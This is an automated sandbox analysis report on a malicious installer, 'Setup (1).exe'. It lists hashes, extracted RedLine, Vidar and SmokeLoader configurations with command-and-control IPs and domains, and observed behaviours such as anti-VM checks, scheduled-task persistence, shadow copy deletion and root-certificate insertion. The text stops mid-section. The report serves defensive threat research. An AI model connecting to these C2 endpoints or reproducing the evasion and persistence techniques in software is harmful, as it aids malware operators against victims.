Overview
overview
10Static
static
Setup (1).exe
windows7_x64
10Setup (1).exe
windows10_x64
10Setup (10).exe
windows7_x64
10Setup (10).exe
windows10_x64
10Setup (11).exe
windows7_x64
10Setup (11).exe
windows10_x64
10Setup (12).exe
windows7_x64
10Setup (12).exe
windows10_x64
10Setup (13).exe
windows7_x64
1Setup (13).exe
windows10_x64
10Setup (14).exe
windows7_x64
10Setup (14).exe
windows10_x64
10Setup (15).exe
windows7_x64
10Setup (15).exe
windows10_x64
10Setup (16).exe
windows7_x64
10Setup (16).exe
windows10_x64
10Setup (17).exe
windows7_x64
10Setup (17).exe
windows10_x64
10Setup (18).exe
windows7_x64
10Setup (18).exe
windows10_x64
10Setup (19).exe
windows7_x64
10Setup (19).exe
windows10_x64
10Setup (2).exe
windows7_x64
10Setup (2).exe
windows10_x64
10Setup (20).exe
windows7_x64
10Setup (20).exe
windows10_x64
10Setup (21).exe
windows7_x64
10Setup (21).exe
windows10_x64
10Setup (22).exe
windows7_x64
10Setup (22).exe
windows10_x64
10Setup (23).exe
windows7_x64
10Setup (23).exe
windows10_x64
10Resubmissions
11-03-2024 21:22
240311-z8dsssgg58 1001-09-2021 13:18
210901-5bmxjspa5s 1001-09-2021 13:04
210901-te4btfspqa 1001-09-2021 05:12
210901-4wnkwm1p3j 1031-08-2021 21:47
210831-41rp97dma2 1031-08-2021 19:51
210831-359awwatje 1029-08-2021 11:37
210829-18htk4slyj 1028-08-2021 23:10
210828-rt8b9gzxn6 1028-08-2021 22:59
210828-zxgnh5j4w6 1028-08-2021 11:31
210828-xrjs66aknj 10Analysis
-
max time kernel
1810s -
max time network
1825s -
platform
windows10_x64 -
resource
win10v20210410 -
submitted
22-08-2021 20:46
Static task
static1
Behavioral task
behavioral1
Sample
Setup (1).exe
Resource
win7v20210408
Behavioral task
behavioral2
Sample
Setup (1).exe
Resource
win10v20210410
Behavioral task
behavioral3
Sample
Setup (10).exe
Resource
win7v20210408
Behavioral task
behavioral4
Sample
Setup (10).exe
Resource
win10v20210410
Behavioral task
behavioral5
Sample
Setup (11).exe
Resource
win7v20210410
Behavioral task
behavioral6
Sample
Setup (11).exe
Resource
win10v20210408
Behavioral task
behavioral7
Sample
Setup (12).exe
Resource
win7v20210410
Behavioral task
behavioral8
Sample
Setup (12).exe
Resource
win10v20210408
Behavioral task
behavioral9
Sample
Setup (13).exe
Resource
win7v20210410
Behavioral task
behavioral10
Sample
Setup (13).exe
Resource
win10v20210408
Behavioral task
behavioral11
Sample
Setup (14).exe
Resource
win7v20210410
Behavioral task
behavioral12
Sample
Setup (14).exe
Resource
win10v20210410
Behavioral task
behavioral13
Sample
Setup (15).exe
Resource
win7v20210408
Behavioral task
behavioral14
Sample
Setup (15).exe
Resource
win10v20210410
Behavioral task
behavioral15
Sample
Setup (16).exe
Resource
win7v20210408
Behavioral task
behavioral16
Sample
Setup (16).exe
Resource
win10v20210410
Behavioral task
behavioral17
Sample
Setup (17).exe
Resource
win7v20210408
Behavioral task
behavioral18
Sample
Setup (17).exe
Resource
win10v20210410
Behavioral task
behavioral19
Sample
Setup (18).exe
Resource
win7v20210410
Behavioral task
behavioral20
Sample
Setup (18).exe
Resource
win10v20210408
Behavioral task
behavioral21
Sample
Setup (19).exe
Resource
win7v20210410
Behavioral task
behavioral22
Sample
Setup (19).exe
Resource
win10v20210408
Behavioral task
behavioral23
Sample
Setup (2).exe
Resource
win7v20210410
Behavioral task
behavioral24
Sample
Setup (2).exe
Resource
win10v20210408
Behavioral task
behavioral25
Sample
Setup (20).exe
Resource
win7v20210410
Behavioral task
behavioral26
Sample
Setup (20).exe
Resource
win10v20210410
Behavioral task
behavioral27
Sample
Setup (21).exe
Resource
win7v20210408
Behavioral task
behavioral28
Sample
Setup (21).exe
Resource
win10v20210410
Behavioral task
behavioral29
Sample
Setup (22).exe
Resource
win7v20210408
Behavioral task
behavioral30
Sample
Setup (22).exe
Resource
win10v20210410
Behavioral task
behavioral31
Sample
Setup (23).exe
Resource
win7v20210408
General
-
Target
Setup (1).exe
-
Size
631KB
-
MD5
cb927513ff8ebff4dd52a47f7e42f934
-
SHA1
0de47c02a8adc4940a6c18621b4e4a619641d029
-
SHA256
fd5c970806fba1500cbb6af5328329aeb43b8de3f02d90ec5d8cd1d57711622f
-
SHA512
988c8fd886a9155b7d190faf2ce6b34d910efcffcf1c6251f18a9d0c804a0ea26a89679273033ac98b200363c536426efd1ae9de445c34e660369abb06f0071c
Malware Config
Extracted
redline
dibild2
135.148.139.222:1494
Extracted
redline
1
37.0.8.88:44263
Extracted
redline
22.08
95.181.172.100:55640
Extracted
vidar
40.1
937
https://eduarroma.tumblr.com/
-
profile_id
937
Extracted
smokeloader
2020
http://readinglistforaugust1.xyz/
http://readinglistforaugust2.xyz/
http://readinglistforaugust3.xyz/
http://readinglistforaugust4.xyz/
http://readinglistforaugust5.xyz/
http://readinglistforaugust6.xyz/
http://readinglistforaugust7.xyz/
http://readinglistforaugust8.xyz/
http://readinglistforaugust9.xyz/
http://readinglistforaugust10.xyz/
http://readinglistforaugust1.site/
http://readinglistforaugust2.site/
http://readinglistforaugust3.site/
http://readinglistforaugust4.site/
http://readinglistforaugust5.site/
http://readinglistforaugust6.site/
http://readinglistforaugust7.site/
http://readinglistforaugust8.site/
http://readinglistforaugust9.site/
http://readinglistforaugust10.site/
http://readinglistforaugust1.club/
http://readinglistforaugust2.club/
http://readinglistforaugust3.club/
http://readinglistforaugust4.club/
http://readinglistforaugust5.club/
http://readinglistforaugust6.club/
http://readinglistforaugust7.club/
http://readinglistforaugust8.club/
http://readinglistforaugust9.club/
http://readinglistforaugust10.club/
Signatures
-
NetSupport
NetSupport is a remote access tool sold as a legitimate system administration software.
-
Process spawned unexpected child process 13 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
rundll32.exerundll32.exerundll32.exerundll32.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exedescription pid pid_target process target process Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 4876 6040 rundll32.exe Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 7160 6040 rundll32.exe Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 9720 6040 rundll32.exe Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 11068 6040 rundll32.exe Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 10528 6040 schtasks.exe Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 10880 6040 schtasks.exe Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 10380 6040 schtasks.exe Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 10456 6040 schtasks.exe Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 3520 6040 schtasks.exe Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 8132 6040 schtasks.exe Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 8952 6040 schtasks.exe Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 4752 6040 schtasks.exe Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1864 6040 schtasks.exe -
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine Payload 11 IoCs
Processes:
resource yara_rule C:\Users\Admin\Documents\0KN1fzGKzvuOqJllZO1YigIB.exe family_redline C:\Users\Admin\Documents\2AUbxbfugguQVBcIbOICKqfT.exe family_redline C:\Users\Admin\Documents\2AUbxbfugguQVBcIbOICKqfT.exe family_redline C:\Users\Admin\Documents\0KN1fzGKzvuOqJllZO1YigIB.exe family_redline behavioral2/memory/4880-274-0x000000000041A616-mapping.dmp family_redline behavioral2/memory/4880-270-0x0000000000400000-0x0000000000420000-memory.dmp family_redline behavioral2/memory/4976-283-0x0000000000400000-0x0000000000448000-memory.dmp family_redline behavioral2/memory/4976-286-0x000000000041A5EA-mapping.dmp family_redline behavioral2/memory/2316-318-0x000000000041A6E6-mapping.dmp family_redline behavioral2/memory/2316-314-0x0000000000400000-0x0000000000420000-memory.dmp family_redline behavioral2/memory/2484-400-0x000000000041A92A-mapping.dmp family_redline -
SmokeLoader
Modular backdoor trojan in use since 2014.
-
Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs
Processes:
WerFault.exedescription pid process target process PID 1056 created 2108 1056 WerFault.exe nPXIFCS6nid5iQzaEDL9skVd.exe -
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
-
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
-
Vidar Stealer 2 IoCs
Processes:
resource yara_rule behavioral2/memory/3244-308-0x0000000004020000-0x00000000040BD000-memory.dmp family_vidar behavioral2/memory/3244-335-0x0000000000400000-0x0000000002402000-memory.dmp family_vidar -
Downloads MZ/PE file
-
Executes dropped EXE 41 IoCs
Processes:
Qnmbo6J0MHSd807SNSlgMMg6.exe6kM0bbl7TbQnxaDwdm3LwFFU.exenPXIFCS6nid5iQzaEDL9skVd.exe2AUbxbfugguQVBcIbOICKqfT.exeeR_LZQDvKiqIXpAZFNo2bziu.exeGKSGBSf1brVbVHBWvH99SBd2.exePezkng2A1qyN7cHgrFLtvbrv.exevhdIXjIkuJWOR9HBUSnyOcI5.exeTQGL13W3ldrdlAz3gtJavspH.exeuQAy0YAbjDmbHIXWJnCO6Rmg.exe0KN1fzGKzvuOqJllZO1YigIB.exeftheFeGtFWuwh8ShCbJcw_BN.exeR6si1fm6XvA3RA_bWwb5j1Yb.exezwH46fx5Dts1upN7YMehKprH.exeDXTtuzpoSirul5anW2FLTvKd.exejIjRQ2QRNj9jis0_rYIp7yC4.exewcTWmcrBN98BymzN5PG2Wn5m.exe6lvVD7a2qKBOPowk5num88oQ.exeLLbcuSJyNRAiE88YdNdIEnwJ.exesF6HEN7LB6zA6tCAa9vPX02Y.exelfm9s9OaPPsGveZxvcn7CDdS.exe1E5Frw7tvLuGLXgX8nVZP7w_.exebjEkTLAKREFhrRE3cE3zjvJ3.exejw1Af08Vv7VCmKzHS5yRBD_W.exeyorCmsAhQb0WdjFwkRC8ys5H.exejooyu.exeKaUfY51I9pRZrEtSKapzEcyQ.exemd8_8eus.execustomer3.exeKaUfY51I9pRZrEtSKapzEcyQ.tmpeR_LZQDvKiqIXpAZFNo2bziu.exePezkng2A1qyN7cHgrFLtvbrv.exejIjRQ2QRNj9jis0_rYIp7yC4.exejIjRQ2QRNj9jis0_rYIp7yC4.exeQnmbo6J0MHSd807SNSlgMMg6.exeyorCmsAhQb0WdjFwkRC8ys5H.exeR6si1fm6XvA3RA_bWwb5j1Yb.exehBS_VbW.EXE4834805.exe1074739.exe4782600.exepid process 2136 Qnmbo6J0MHSd807SNSlgMMg6.exe 2560 6kM0bbl7TbQnxaDwdm3LwFFU.exe 2108 nPXIFCS6nid5iQzaEDL9skVd.exe 1856 2AUbxbfugguQVBcIbOICKqfT.exe 1916 eR_LZQDvKiqIXpAZFNo2bziu.exe 2116 GKSGBSf1brVbVHBWvH99SBd2.exe 2348 Pezkng2A1qyN7cHgrFLtvbrv.exe 1308 vhdIXjIkuJWOR9HBUSnyOcI5.exe 8 TQGL13W3ldrdlAz3gtJavspH.exe 2860 uQAy0YAbjDmbHIXWJnCO6Rmg.exe 2184 0KN1fzGKzvuOqJllZO1YigIB.exe 3816 ftheFeGtFWuwh8ShCbJcw_BN.exe 4004 R6si1fm6XvA3RA_bWwb5j1Yb.exe 2196 zwH46fx5Dts1upN7YMehKprH.exe 3244 DXTtuzpoSirul5anW2FLTvKd.exe 788 jIjRQ2QRNj9jis0_rYIp7yC4.exe 584 wcTWmcrBN98BymzN5PG2Wn5m.exe 3912 6lvVD7a2qKBOPowk5num88oQ.exe 3760 LLbcuSJyNRAiE88YdNdIEnwJ.exe 900 sF6HEN7LB6zA6tCAa9vPX02Y.exe 3764 lfm9s9OaPPsGveZxvcn7CDdS.exe 2204 1E5Frw7tvLuGLXgX8nVZP7w_.exe 3852 bjEkTLAKREFhrRE3cE3zjvJ3.exe 3496 jw1Af08Vv7VCmKzHS5yRBD_W.exe 3616 yorCmsAhQb0WdjFwkRC8ys5H.exe 4452 jooyu.exe 4484 KaUfY51I9pRZrEtSKapzEcyQ.exe 4500 md8_8eus.exe 4540 customer3.exe 4736 KaUfY51I9pRZrEtSKapzEcyQ.tmp 4880 eR_LZQDvKiqIXpAZFNo2bziu.exe 4976 Pezkng2A1qyN7cHgrFLtvbrv.exe 5020 jIjRQ2QRNj9jis0_rYIp7yC4.exe 2316 jIjRQ2QRNj9jis0_rYIp7yC4.exe 4580 Qnmbo6J0MHSd807SNSlgMMg6.exe 3964 yorCmsAhQb0WdjFwkRC8ys5H.exe 2484 R6si1fm6XvA3RA_bWwb5j1Yb.exe 4436 hBS_VbW.EXE 5104 4834805.exe 5028 1074739.exe 4960 4782600.exe -
Checks BIOS information in registry 2 TTPs 8 IoCs
BIOS information is often read in order to detect sandboxing environments.
Processes:
bjEkTLAKREFhrRE3cE3zjvJ3.exe2AUbxbfugguQVBcIbOICKqfT.exe0KN1fzGKzvuOqJllZO1YigIB.exeLLbcuSJyNRAiE88YdNdIEnwJ.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion bjEkTLAKREFhrRE3cE3zjvJ3.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion bjEkTLAKREFhrRE3cE3zjvJ3.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion 2AUbxbfugguQVBcIbOICKqfT.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion 2AUbxbfugguQVBcIbOICKqfT.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion 0KN1fzGKzvuOqJllZO1YigIB.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion 0KN1fzGKzvuOqJllZO1YigIB.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion LLbcuSJyNRAiE88YdNdIEnwJ.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion LLbcuSJyNRAiE88YdNdIEnwJ.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
Setup (1).exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Control Panel\International\Geo\Nation Setup (1).exe -
Loads dropped DLL 3 IoCs
Processes:
ftheFeGtFWuwh8ShCbJcw_BN.exeKaUfY51I9pRZrEtSKapzEcyQ.tmppid process 3816 ftheFeGtFWuwh8ShCbJcw_BN.exe 4736 KaUfY51I9pRZrEtSKapzEcyQ.tmp 4736 KaUfY51I9pRZrEtSKapzEcyQ.tmp -
Processes:
resource yara_rule C:\Users\Admin\Documents\0KN1fzGKzvuOqJllZO1YigIB.exe themida C:\Users\Admin\Documents\vhdIXjIkuJWOR9HBUSnyOcI5.exe themida C:\Users\Admin\Documents\2AUbxbfugguQVBcIbOICKqfT.exe themida C:\Users\Admin\Documents\LLbcuSJyNRAiE88YdNdIEnwJ.exe themida C:\Users\Admin\Documents\2AUbxbfugguQVBcIbOICKqfT.exe themida C:\Users\Admin\Documents\0KN1fzGKzvuOqJllZO1YigIB.exe themida C:\Users\Admin\Documents\bjEkTLAKREFhrRE3cE3zjvJ3.exe themida C:\Users\Admin\Documents\vhdIXjIkuJWOR9HBUSnyOcI5.exe themida C:\Users\Admin\Documents\LLbcuSJyNRAiE88YdNdIEnwJ.exe themida C:\Users\Admin\Documents\bjEkTLAKREFhrRE3cE3zjvJ3.exe themida behavioral2/memory/2184-245-0x0000000000260000-0x0000000000261000-memory.dmp themida behavioral2/memory/3852-260-0x0000000000AD0000-0x0000000000AD1000-memory.dmp themida behavioral2/memory/3760-251-0x0000000001370000-0x0000000001371000-memory.dmp themida behavioral2/memory/1856-272-0x0000000000130000-0x0000000000131000-memory.dmp themida -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Processes:
LLbcuSJyNRAiE88YdNdIEnwJ.exe0KN1fzGKzvuOqJllZO1YigIB.exe2AUbxbfugguQVBcIbOICKqfT.exebjEkTLAKREFhrRE3cE3zjvJ3.exedescription ioc process Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA LLbcuSJyNRAiE88YdNdIEnwJ.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA 0KN1fzGKzvuOqJllZO1YigIB.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA 2AUbxbfugguQVBcIbOICKqfT.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA bjEkTLAKREFhrRE3cE3zjvJ3.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Looks up external IP address via web service 16 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 1655 ipinfo.io 226 ipinfo.io 230 ipinfo.io 464 ipinfo.io 30 ipinfo.io 154 ipinfo.io 233 ipinfo.io 237 ipinfo.io 238 ipinfo.io 244 ipinfo.io 31 ipinfo.io 149 ipinfo.io 151 ip-api.com 466 ipinfo.io 1656 ipinfo.io 701 geoiptool.com -
Suspicious use of NtSetInformationThreadHideFromDebugger 4 IoCs
Processes:
0KN1fzGKzvuOqJllZO1YigIB.exe2AUbxbfugguQVBcIbOICKqfT.exeLLbcuSJyNRAiE88YdNdIEnwJ.exebjEkTLAKREFhrRE3cE3zjvJ3.exepid process 2184 0KN1fzGKzvuOqJllZO1YigIB.exe 1856 2AUbxbfugguQVBcIbOICKqfT.exe 3760 LLbcuSJyNRAiE88YdNdIEnwJ.exe 3852 bjEkTLAKREFhrRE3cE3zjvJ3.exe -
Suspicious use of SetThreadContext 5 IoCs
Processes:
eR_LZQDvKiqIXpAZFNo2bziu.exePezkng2A1qyN7cHgrFLtvbrv.exeVPN.tmpQnmbo6J0MHSd807SNSlgMMg6.exeEsplorarne.exe.comdescription pid process target process PID 1916 set thread context of 4880 1916 eR_LZQDvKiqIXpAZFNo2bziu.exe eR_LZQDvKiqIXpAZFNo2bziu.exe PID 2348 set thread context of 4976 2348 Pezkng2A1qyN7cHgrFLtvbrv.exe Pezkng2A1qyN7cHgrFLtvbrv.exe PID 788 set thread context of 2316 788 VPN.tmp jIjRQ2QRNj9jis0_rYIp7yC4.exe PID 2136 set thread context of 4580 2136 Qnmbo6J0MHSd807SNSlgMMg6.exe Qnmbo6J0MHSd807SNSlgMMg6.exe PID 4004 set thread context of 2484 4004 Esplorarne.exe.com R6si1fm6XvA3RA_bWwb5j1Yb.exe -
Drops file in Program Files directory 5 IoCs
Processes:
lfm9s9OaPPsGveZxvcn7CDdS.exedescription ioc process File opened for modification C:\Program Files (x86)\Company\NewProduct\jooyu.exe lfm9s9OaPPsGveZxvcn7CDdS.exe File opened for modification C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe lfm9s9OaPPsGveZxvcn7CDdS.exe File opened for modification C:\Program Files (x86)\Company\NewProduct\customer3.exe lfm9s9OaPPsGveZxvcn7CDdS.exe File opened for modification C:\Program Files (x86)\Company\NewProduct\Uninstall.exe lfm9s9OaPPsGveZxvcn7CDdS.exe File created C:\Program Files (x86)\Company\NewProduct\Uninstall.ini lfm9s9OaPPsGveZxvcn7CDdS.exe -
Drops file in Windows directory 1 IoCs
Processes:
WerFault.exedescription ioc process File created C:\Windows\AppCompat\Programs\Amcache.hve.tmp WerFault.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 16 IoCs
Processes:
WerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exepid pid_target process target process 1056 2108 WerFault.exe nPXIFCS6nid5iQzaEDL9skVd.exe 2936 900 WerFault.exe sF6HEN7LB6zA6tCAa9vPX02Y.exe 592 2204 WerFault.exe 1E5Frw7tvLuGLXgX8nVZP7w_.exe 2472 900 WerFault.exe sF6HEN7LB6zA6tCAa9vPX02Y.exe 2064 2204 WerFault.exe 1E5Frw7tvLuGLXgX8nVZP7w_.exe 592 900 WerFault.exe sF6HEN7LB6zA6tCAa9vPX02Y.exe 5060 2204 WerFault.exe 1E5Frw7tvLuGLXgX8nVZP7w_.exe 5520 900 WerFault.exe sF6HEN7LB6zA6tCAa9vPX02Y.exe 5580 2204 WerFault.exe 1E5Frw7tvLuGLXgX8nVZP7w_.exe 5168 2204 WerFault.exe 1E5Frw7tvLuGLXgX8nVZP7w_.exe 5156 2204 WerFault.exe 1E5Frw7tvLuGLXgX8nVZP7w_.exe 5844 2204 WerFault.exe 1E5Frw7tvLuGLXgX8nVZP7w_.exe 6088 900 WerFault.exe sF6HEN7LB6zA6tCAa9vPX02Y.exe 1296 900 WerFault.exe sF6HEN7LB6zA6tCAa9vPX02Y.exe 5748 900 WerFault.exe sF6HEN7LB6zA6tCAa9vPX02Y.exe 2168 3244 WerFault.exe DXTtuzpoSirul5anW2FLTvKd.exe -
Checks SCSI registry key(s) 3 TTPs 3 IoCs
SCSI information is often read in order to detect sandboxing environments.
Processes:
Qnmbo6J0MHSd807SNSlgMMg6.exedescription ioc process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI Qnmbo6J0MHSd807SNSlgMMg6.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI Qnmbo6J0MHSd807SNSlgMMg6.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI Qnmbo6J0MHSd807SNSlgMMg6.exe -
Creates scheduled task(s) 1 TTPs 9 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exepid process 10528 schtasks.exe 10456 schtasks.exe 4752 schtasks.exe 1864 schtasks.exe 10880 schtasks.exe 10380 schtasks.exe 3520 schtasks.exe 8132 schtasks.exe 8952 schtasks.exe -
Delays execution with timeout.exe 1 IoCs
Processes:
timeout.exepid process 4792 timeout.exe -
Interacts with shadow copies 2 TTPs 1 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
Processes:
vssadmin.exepid process 5128 vssadmin.exe -
Kills process with taskkill 3 IoCs
Processes:
taskkill.exetaskkill.exetaskkill.exepid process 5700 taskkill.exe 5700 taskkill.exe 5580 taskkill.exe -
Processes:
Setup (1).exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349 Setup (1).exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 5c000000010000000400000000080000090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e349200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e Setup (1).exe -
Runs ping.exe 1 TTPs 2 IoCs
-
Script User-Agent 7 IoCs
Uses user-agent string associated with script host/environment.
Processes:
description flow ioc HTTP User-Agent header 231 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 239 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 465 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 470 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 150 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 160 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 227 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
Setup (1).exeQnmbo6J0MHSd807SNSlgMMg6.exeWerFault.exeWerFault.exeWerFault.exepid process 3840 Setup (1).exe 3840 Setup (1).exe 4580 Qnmbo6J0MHSd807SNSlgMMg6.exe 4580 Qnmbo6J0MHSd807SNSlgMMg6.exe 3044 3044 3044 3044 3044 3044 3044 3044 3044 3044 2936 WerFault.exe 2936 WerFault.exe 2936 WerFault.exe 2936 WerFault.exe 2936 WerFault.exe 2936 WerFault.exe 2936 WerFault.exe 2936 WerFault.exe 2936 WerFault.exe 2936 WerFault.exe 2936 WerFault.exe 2936 WerFault.exe 2936 WerFault.exe 2936 WerFault.exe 2936 WerFault.exe 2936 WerFault.exe 2936 WerFault.exe 2936 WerFault.exe 2936 WerFault.exe 2936 WerFault.exe 3044 3044 3044 3044 592 WerFault.exe 592 WerFault.exe 592 WerFault.exe 592 WerFault.exe 592 WerFault.exe 592 WerFault.exe 592 WerFault.exe 592 WerFault.exe 592 WerFault.exe 592 WerFault.exe 592 WerFault.exe 592 WerFault.exe 592 WerFault.exe 592 WerFault.exe 592 WerFault.exe 592 WerFault.exe 592 WerFault.exe 592 WerFault.exe 592 WerFault.exe 592 WerFault.exe 1056 WerFault.exe 1056 WerFault.exe 1056 WerFault.exe 1056 WerFault.exe 1056 WerFault.exe 1056 WerFault.exe -
Suspicious behavior: MapViewOfSection 1 IoCs
Processes:
Qnmbo6J0MHSd807SNSlgMMg6.exepid process 4580 Qnmbo6J0MHSd807SNSlgMMg6.exe -
Suspicious use of AdjustPrivilegeToken 49 IoCs
Processes:
